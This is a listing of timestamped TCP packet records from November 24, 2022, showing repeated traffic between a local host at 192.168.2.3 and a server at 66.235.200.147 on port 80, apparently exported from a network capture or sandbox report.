Nov 24, 2022 16:57:33.422308922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422327995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422338963 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422347069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422367096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422398090 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422411919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422966003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422986031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423006058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423024893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423041105 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423047066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423065901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423067093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423086882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423105955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423113108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423125029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423145056 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423149109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423165083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423185110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423197031 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423203945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423223972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423227072 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423274994 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423700094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423721075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423741102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423758984 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423768997 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423779964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423801899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423810005 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423820972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423841000 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423841000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423861027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423878908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423882961 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423898935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423921108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423933983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423953056 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423970938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.423976898 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.423991919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424010992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424011946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.424031973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424048901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.424052000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424099922 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.424758911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424806118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424838066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424865961 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.424886942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424930096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.424943924 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.424972057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425015926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425018072 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425057888 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425100088 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425142050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425182104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425185919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425206900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425223112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425262928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425270081 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425302982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425344944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425348043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425385952 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425426960 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425451994 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425470114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425517082 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425576925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425618887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425662994 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425666094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425683975 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425700903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425719023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425723076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425735950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425753117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425759077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425770998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425787926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425793886 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425806046 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425827026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425834894 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425844908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425863981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.425870895 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.425904036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426212072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426229954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426246881 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426265001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426270008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426289082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426306009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426310062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426325083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426342010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426345110 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426359892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426378012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426384926 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426397085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426414967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426423073 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426433086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426450968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426460028 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426470041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426487923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426497936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426506042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426522017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426536083 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426539898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426558971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.426564932 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.426610947 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427186012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427205086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427222967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427239895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427258015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427263021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427275896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427279949 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427294970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427313089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427330971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427335978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427347898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427365065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427366018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427383900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427388906 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427402020 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427419901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427426100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427438021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427454948 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427462101 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427473068 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427491903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427496910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427509069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427525997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.427531958 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.427567005 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428221941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428241014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428257942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428273916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428281069 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428291082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428308010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428313971 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428324938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428342104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428345919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428358078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428375006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428380013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428415060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428602934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428621054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428638935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428657055 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428663015 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428674936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428699017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428728104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428745031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428761005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428770065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428807020 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428808928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428829908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428848982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428867102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428869009 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428884029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428903103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428908110 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428920031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428937912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428942919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428956032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428973913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.428982973 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.428992033 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429012060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429023027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429055929 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429537058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429554939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429593086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429595947 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429610968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429644108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429649115 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429661989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429680109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429698944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429712057 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429729939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429738998 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429748058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429764986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429783106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429785013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429819107 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429893970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429912090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429929972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429949999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429956913 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.429980040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429996014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.429997921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430012941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430031061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430033922 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430047989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430064917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430067062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430080891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430098057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430102110 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430115938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430131912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430136919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430149078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430170059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430547953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430566072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430583000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430599928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430600882 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430617094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430623055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430634022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430651903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430655956 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430669069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430686951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430686951 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430702925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430720091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430727005 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430737019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430753946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430757046 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430771112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430788040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430792093 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430805922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430821896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430839062 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430840015 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430855989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430872917 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430880070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430906057 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430916071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430932999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430951118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430955887 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.430968046 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430984974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.430990934 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.431022882 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.431618929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431663990 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431704998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431720018 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.431746960 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431788921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431792021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.431833029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431874990 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431876898 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.431916952 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431957960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.431958914 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.431999922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432040930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432044983 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432082891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432123899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432126045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432167053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432209969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432214975 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432251930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432293892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432295084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432334900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432377100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432383060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432418108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432460070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432460070 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432499886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432542086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432544947 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432579994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432598114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432614088 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432619095 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432631016 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432647943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432651043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432663918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432681084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432687044 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432698011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432714939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432718992 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432729959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432746887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432751894 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432763100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432779074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432785034 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432812929 CET	80	49712	66.235.200.147	192.168.2.3
